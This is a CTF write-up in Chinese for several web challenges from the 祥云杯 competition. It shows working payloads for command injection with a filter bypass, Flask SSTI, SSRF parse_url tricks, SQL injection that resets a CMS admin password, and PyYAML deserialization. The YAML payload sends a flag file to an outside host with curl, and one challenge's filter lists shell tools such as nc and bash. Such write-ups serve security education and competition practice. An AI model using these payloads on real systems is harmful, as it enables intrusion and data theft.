祥云杯web题解 Command 题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting(0 ); if (isset ($_GET ['url' ])) { $ip =$_GET ['url' ]; if (preg_match("/(;|'| |>|]|&| |\\$|python|sh|nc|tac|rev|more|tailf|index|php|head|nl|tail|less|cat|ruby|perl|bash|rm|cp|mv|\*|\{)/i" , $ip )){ die ("<script language='javascript' type='text/javascript'> alert('no no no!') window.location.href='index.php';</script>" ); }else if (preg_match("/.*f.*l.*a.*g.*/" , $ip )){ die ("<script language='javascript' type='text/javascript'> alert('no flag!') window.location.href='index.php';</script>" ); } $a = shell_exec("ping -c 4 " .$ip ); }
测试发现过滤了:',$,&,*,;,>,],{, ,
利用%09来绕过对空格的过滤
1 http://eci-2ze5a6nc0glncs99tzta.cloudeci1.ichunqiu.com/?url=-h|`echo%09WTJGMElDOWxkR012TG1acGJtUm1iR0ZuTDJac1lXY3VkSGgw|base64%09-d|base64%09-d`
flaskbot 测试一波发现输入点都没有ssti,并且开着报错
我们利用报错来拿源码
最关键的源码render_template_string(guessNum(num,name))
是直接访问不存在界面得到的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 @app.route('/' ,methods=['POST' ,'GET' ] ) def Hello (): if request.method == "POST" : user = request.form['name' ] resp = make_response(render_template("guess.html" ,name=user)) resp.set_cookie('user' ,base64.urlsafe_b64encode(user),max_age=3600 ) return resp else : user=request.cookies.get('user' ) if user == None : return render_template("index.html" ) else : user=user.encode('utf-8' ) return render_template("guess.html" ,name=base64.urlsafe_b64decode(user)) @app.route('/guess' ,methods=['POST' ] ) def Guess (): user=request.cookies.get('user' ) if user==None : return redirect(url_for("Hello" ) user=user.encode('utf-8' ) name = base64.urlsafe_b64decode(user) num = float (request.form['num' ]) if (num<0 ): return "Too Small" elif num>1000000000.0 : return "Too Large" else : return render_template_string(guessNum(num,name)) @app.errorhandler(404 ) def miss (e ): return "What are you looking for?!!" .getattr (app, '__name__' , getattr (app.__class__, '__name__' )), 404 if __name__ == '__main__' : f_handler=open ('/var/log/app.log' , 'w' ) sys.stderr=f_handler app.run(debug=True , host='0.0.0.0' ,port=8888
看一下回显很容易得知bot利用二分法来猜数据,如果一定次数内bot没猜出来就是我们赢,正常的数据基本是不行的。
我们看下他得到数字的过程:
1 2 3 4 5 6 num = float (request.form['num' ]) if (num<0 ): return "Too Small" elif num>1000000000.0 : return "Too Large"
字符串转数值且小于0大于1000000000.0
阅读python文档https://docs.python.org/3.2/library/stdtypes.html#numeric-types-int-float-complex,我们看到一个这样的浮点数:` float also accepts the strings “nan” and “inf” with an optional prefix “+” or “-” for Not a Number (NaN) and positive or negative infinity. `
且nan<0,nan>1000000000.0都为false,这样他的二分法永远猜不到了
然后修改name进行ssti
1 {{"".__class__.__mro__[2].__subclasses__()[258].__init__.__getattribute__("__globals__")["\\x6f\\x73"].__getattribute__("\\x73ystem")("whoami")}}
easygogogo 题目有三个接口,登入,查看上传文件,上传文件
测试上传文件接口发现,可以直接路径穿越
测试查看上传文件接口发现,可以任意文件读取,但是你得有cookie(通过文件上传生成)
/proc/self/cmdline
1 HOSTNAME=engine-1 HOME=/root OLDPWD=/root TERM=xterm PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin GOPATH=/go PWD=/go GOLANG_VERSION=1.15.5
刚开始去读/etc/passwd发现,啥都没有,但是读/proc/self/cmdline就有东西,然后猜测了下这是root权限启动的
由于重启docker环境并不是让cookie的salt发生改变,所以,如果用之前生成好的cookie(如果是root权限/etc/passwd被覆盖)去获得新docker的/etc/passwd有内容的话就说明是root权限,没有的话就是其他原因
。。。。。
真的是root权限!!!!!
直接读取/root/start.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 flagfile=/flag if [ ${ICQ_FLAG} ];then if [ "$flagfile " x = "/flagx" ];then echo ${ICQ_FLAG} > ${flagfile} chmod 755 ${flagfile} else sed -i -r "s/flag\{.*\}/${ICQ_FLAG} /" $flagfile fi echo [+] sed flag OK unset ICQ_FLAG else echo [!] no ICQ_FLAG fi service cron start&&whoami&&cd /go&&go run src/main.go src/functions.go src/model.go src/routes.go
再去读取/flag,顺便读了下源码:
main.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package mainimport ( "log" "net/http" ) func main () { http.Handle("/uploads/" , http.StripPrefix("/uploads/" , http.FileServer(http.Dir("uploads/" )))) http.Handle("/statics/" , http.StripPrefix("/statics/" , http.FileServer(http.Dir("statics/" )))) http.HandleFunc("/index" , index) http.HandleFunc("/" , index) http.HandleFunc("/login" , login) http.HandleFunc("/upload" , upload) http.HandleFunc("/show" , show) http.HandleFunc("/home" , home) err := http.ListenAndServe(":80" , nil ) if err != nil { log.Fatal("ListenAndServe: " , err) } }
src/functions.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 package mainimport ( "bytes" "crypto/md5" "encoding/base64" "encoding/gob" "encoding/hex" "net/http" "os" "time" ) func PathExists (path string ) (bool , error) { _, err := os.Stat(path) if err == nil { return true , nil } if os.IsNotExist(err) { return false , nil } return false , err } func fileExist (filename string ) bool { _, err := os.Stat(filename) return err == nil || os.IsExist(err) } func Md5 (s string ) string { h := md5.New() h.Write([]byte (s)) return hex.EncodeToString(h.Sum(nil )) } func getCookie (r *http.Request) interface {}{ cookie, err := r.Cookie("cookie" ) if err==nil { return cookie.Value }else { return nil } } func setCookie (w http.ResponseWriter,r *http.Request,value string ) { expiration := time.Now() expiration = expiration.AddDate(1 , 0 , 0 ) cookie := http.Cookie{Name: "cookie" , Value: value, Expires: expiration} http.SetCookie(w, &cookie) } func serialize (instance Users) []byte { var result bytes.Buffer encoder := gob.NewEncoder(&result) encoder.Encode(instance) userBytes := result.Bytes() return userBytes } func unseralize (data []byte ) Users { var account Users decoder := gob.NewDecoder(bytes.NewReader(data)) decoder.Decode(&account) return account } func cookieEncode (data []byte ) string { return base64.StdEncoding.EncodeToString(data) } func cookieDecode (data string ) []byte { bytesData, _ := base64.StdEncoding.DecodeString(data) return bytesData }
src/model.go
1 2 3 4 5 6 7 8 9 package maintype Users struct { Username string Password string Filename string Sign string } var salt="123123adsdasr123sdfkaadls"
src/routes.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 package mainimport ( "encoding/base64" "fmt" "html/template" "io" "net/http" "os" "strings" ) func upload (w http.ResponseWriter, r *http.Request) { r.Body = http.MaxBytesReader(w, r.Body, 32 <<16 ) ip := strings.Split(r.RemoteAddr, ":" )[0 ] if getCookie(r)!=nil { UserData:=unseralize(cookieDecode(getCookie(r).(string ))) if r.Method == "GET" { t, _ := template.ParseFiles("upload.gtpl" ) t.Execute(w,nil ) } else { path:="./uploads/" +Md5(ip) tmp,_:=PathExists(path) if !tmp{ err:= os.Mkdir(path, os.ModePerm) if err!=nil { fmt.Printf("failed" ) } } r.ParseMultipartForm(32 << 20 ) file, handler, err := r.FormFile("uploadfile" ) if err != nil { fmt.Println(err) return } defer file.Close() f, err := os.OpenFile("./uploads/" +Md5(ip)+"/" +handler.Filename, os.O_WRONLY|os.O_TRUNC|os.O_CREATE, 0777 ) if err != nil { fmt.Fprint(w,err) return } defer f.Close() io.Copy(f, file) UserData.Filename="./uploads/" +Md5(ip)+"/" +handler.Filename UserData.Sign=Md5(UserData.Filename+salt) setCookie(w,r,cookieEncode((serialize(UserData)))) fmt.Fprint(w,UserData) fmt.Fprint(w,"上传成功:" +handler.Filename) return } }else { fmt.Fprint(w,"<script>alert('Login first my baby');</script>" ) return } } func index (w http.ResponseWriter, r *http.Request) { t, _ := template.ParseFiles("index.gtpl" ) t.Execute(w,nil ) return } func login (w http.ResponseWriter, r *http.Request) { if r.Method=="POST" { r.ParseForm() if r.Form["username" ]==nil && r.Form["password" ]==nil { fmt.Fprint(w,"username and password is required" ) return } User:=Users{ Username: r.Form["username" ][0 ], Password: r.Form["password" ][0 ], } setCookie(w,r,cookieEncode(serialize(User))) fmt.Fprint(w,"<script>window.location.href='/home'</script>" ) }else { fmt.Fprint(w,"Method not allowed" ) return } } func home (w http.ResponseWriter,r *http.Request) { if getCookie(r)!=nil { t, _ := template.ParseFiles("home.gtpl" ) t.Execute(w, nil ) }else { fmt.Fprint(w,"<script>alert('Login first my baby');</script>" ) return } } func show (w http.ResponseWriter, r *http.Request) { if getCookie(r)!=nil { UserData:=unseralize(cookieDecode(getCookie(r).(string ))) file:=UserData.Filename sign:=UserData.Sign ff, err := os.Open(file) defer ff.Close() if err!=nil { fmt.Println(err) t, _ := template.ParseFiles("show.gtpl" ) t.Execute(w, template.HTML("?????" )) return } fmt.Println(sign) if sign!=Md5(file+salt){ fmt.Fprint(w,"签名失败" ) return } sourcebuffer := make ([]byte , 500000 ) n, _ := ff.Read(sourcebuffer) filedata := base64.StdEncoding.EncodeToString(sourcebuffer[:n]) fmt.Println(filedata) t, _ := template.ParseFiles("show.gtpl" ) t.Execute(w, template.HTML("<img src='data:image/jpeg;base64," +filedata+"'>" )) }else { fmt.Fprint(w,"<script>alert('Login first my baby');</script>" ) return } }
这样应该是非预期把?
doyouknowssrf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <?php function safe_url ($url ,$safe ) { $parsed = parse_url($url ); $validate_ip = true ; if ($parsed ['port' ] && !in_array($parsed ['port' ],array ('80' ,'443' ))){ echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>" .PHP_EOL; return false ; }else { preg_match('/^\d+$/' , $parsed ['host' ]) && $parsed ['host' ] = long2ip($parsed ['host' ]); $long = ip2long($parsed ['host' ]); if ($long ===false ){ $ip = null ; if ($safe ){ @putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1' ); $ip = gethostbyname($parsed ['host' ]); $long = ip2long($ip ); $long ===false && $ip = null ; @putenv('RES_OPTIONS' ); } }else { $ip = $parsed ['host' ]; } $ip && $validate_ip = filter_var($ip , FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE); } if (!in_array($parsed ['scheme' ],array ('http' ,'https' )) || !$validate_ip ){ echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>" .PHP_EOL; return false ; }else { return $url ; } } function curl ($url ) { $safe = false ; if (safe_url($url ,$safe )) { $ch = curl_init(); curl_setopt($ch , CURLOPT_URL, $url ); curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch , CURLOPT_HEADER, 0 ); curl_setopt($ch , CURLOPT_SSL_VERIFYPEER, false ); curl_setopt($ch , CURLOPT_SSL_VERIFYHOST, false ); $co = curl_exec($ch ); curl_close($ch ); echo $co ; } } highlight_file(__FILE__ ); curl($_GET ['url' ]);
emmm,这题是原题。https://tyaoo.github.io/2020/08/31/2020-GACTF-web/ ,我是后来才知道的。。。。
绕过端口限制的方法一种是:http://[email protected] :6379%[email protected] /
还有一个是:http:/ctf.ccreater.top:5000/
var_dump(parse_url)
1 2 3 4 5 6 array(2) { 'scheme' => string(4) "http" 'path' => string(23) "/ctf.ccreater.top:5000/" }
然后curl去访问是正常的
接下来按着那个wp走发现flask,继续ssrf,发现redis,原本是wp里面的redis主从复制RCE直接打这题的,但是试了好久都没成功,明明有向我发送数据
redis ssrf还有一种RCE方法是写文件,这一题就是这么干的,因为那个wp我一直没往这方面想
然后去看了写redis发现它的版本是2.x主从复制RCE的那个exp是针对3.x和4.x :(
easyzzz 百度一波网上的cve解出这题
简单说下过程
/plugins/webuploader/js/webconfig.php
拿到后台地址 admin539/
https://xz.aliyun.com/t/7414 ,利用前台sql注入修改管理员密码
搭个转发的方便测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsfrom flask import Flask,requestapp = Flask(__name__) def access (exp ): burp0_url = "http://eci-2ze9cofh8j38ebxctduq.cloudeci1.ichunqiu.com:80/plugins/sms/sms_list.php?act=del" burp0_cookies = {"Hm_lvt_2d0601bd28de7d49818249cf35d95943" : "1604567758,1604568322,1604568358,1605921830" , "Hm_lpvt_2d0601bd28de7d49818249cf35d95943" : "1606016268" , "PHPSESSID" : "3fe85864bb4ad1dc9f25e5271281baf9" , "__jsluid_h" : "85077cc270ca34654c02f2479fcb9390" , "zzz254_adminpass" : "0" } burp0_headers = {"Cache-Control" : "max-age=0" , "Upgrade-Insecure-Requests" : "1" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9" , "Connection" : "close" , "Content-Type" : "application/x-www-form-urlencoded" } burp0_data = {"id[={exp} ;-- ]" .format (exp=exp): "1" } return requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) @app.route('/' ) def hello_world (): payload = request.args.get("exp" ,"" ) r=access(payload) print (payload) return r.text app.run()
直接访问:
http://127.0.0.1:5000/?exp=1;replace INTO zzz_user(uid,u_gid, u_lid, u_onoff, u_order, sex, username, password, question, answer, regtime, truename, face, province, city, district, address, post, tel, mobile, email, qq, u_desc, adminrand, lastlogintime, lastloginip, logincount, sysinfo, points, balance) VALUES (1, 1, 1, 1, 0, '%E7%94%B7', 'admin', '1ccbbb718e0e9c3a', '8TBRJ2H5NXW57EVF', 'S8DDQC9YV494G84Q', '', '%E5%88%9B%E5%A7%8B%E4%BA%BA', 'face01.png', '', '', '', '', '', '', '', '', '', '', '6a79122eab1e8abd10bcabd91ebbc36c', '2020/11/22 17:25:13', '127.0.0.1', 6, '', 0, 0);--
修改admin密码为041676
没有写权限,但是我们只要读到flag就好了,利用这个cms的模板渲染机制,修改模板为我们想读的文件/flag,来拿到flag
profile system 一看就是一个flask(它的cookie),文件上传可以目录穿越,猜测后端访问uploads路由是这样的:/uploads/<path:path>
直接读取/uploads/../app.py
app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from flask import Flask, render_template, request, flash, redirect, send_file,session,render_template_stringimport osimport refrom hashlib import md5import yamlapp = Flask(__name__) app.config['UPLOAD_FOLDER' ] = os.path.join(os.curdir, "uploads" ) app.config['SECRET_KEY' ] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy' ALLOWED_EXTENSIONS = {'yaml' ,'yml' } def allowed_file (filename ): return '.' in filename and filename.rsplit('.' , 1 )[1 ].lower() @app.route("/" ) def index (): session['priviledge' ] = 'guest' return "home" @app.route("/upload" , methods=["POST" ] ) def upload (): file = request.files["file" ] if file.filename == '' : flash('No selected file' ) return redirect("/" ) elif not (allowed_file(file.filename) in ALLOWED_EXTENSIONS): flash('Please upload yaml/yml only.' ) return redirect("/" ) else : dirname = md5(request.remote_addr.encode()).hexdigest() filename = file.filename session['filename' ] = filename upload_directory = os.path.join(app.config['UPLOAD_FOLDER' ], dirname) if not os.path.exists(upload_directory): os.mkdir(upload_directory) upload_path = os.path.join(app.config['UPLOAD_FOLDER' ], dirname, filename) file.save(upload_path) return os.path.join(dirname, filename) @app.route("/uploads/<path:path>" ) def uploads (path ): return send_file(os.path.join(app.config['UPLOAD_FOLDER' ], path)) @app.route("/view" ) def view (): dirname = md5(request.remote_addr.encode()).hexdigest() realpath = os.path.join(app.config['UPLOAD_FOLDER' ], dirname,session['filename' ]).replace('..' ,'' ) if session['priviledge' ] =='elite' and os.path.isfile(realpath): try : with open (realpath,'rb' ) as f: data = f.read() if not re.fullmatch(b"^[ -\-/-\]a-}\n\r]*$" ,data, flags=re.MULTILINE): info = {'user' : 'elite-user' } flash('Sth weird...' ) else : info = yaml.load(data) if info['user' ] == 'Administrator' : flash('Welcome admin!' ) else : raise () except : info = {'user' : 'elite-user' } else : info = {'user' : 'guest' } return render_template_string("{{user}}" ,user=info['user' ]) if __name__ == "__main__" : app.run('0.0.0.0' ,port=8888 ,threaded=True )
有了secret我们就可以任意伪造session了
注意到:info = yaml.load(data)
直接使用这个会有个提醒
百度一下为啥不安全,yaml反序列化注入get
直接抄来一个exp
1 2 3 !!python/object/new:type args: ["z" , !!python/tuple [], {"extend": !!python/name:exec }] listitems: "\x5f\x5fimport\x5f\x5f('os')\x2esystem('curl -POST mil1\x2eml/jm9 -F x=@flag\x2etxt')"
看下进入info = yaml.load(data)
的前提
re.fullmatch(b"^[ -\-/-\]a-}\n\r]*$",data, flags=re.MULTILINE)
利用regex101 读懂这个的意思,其实就是禁止出现
这几个字符
这个payload完美符合所有条件
一定要注意payload不能出现\r
总结 python的float类型有两个特殊的值:nan(not a number),inf(infinity,无穷)
php parse_url 小trick
var_dump(parse_url("http:/ctf.ccreater.top:5000/"))
1 2 3 4 5 6 array(2) { 'scheme' => string(4) "http" 'path' => string(23) "/ctf.ccreater.top:5000/" }
http://[email protected] :6379%[email protected] /
:https://bugs.php.net/bug.php?id=77991
python 中的yaml.load也存在反序列化问题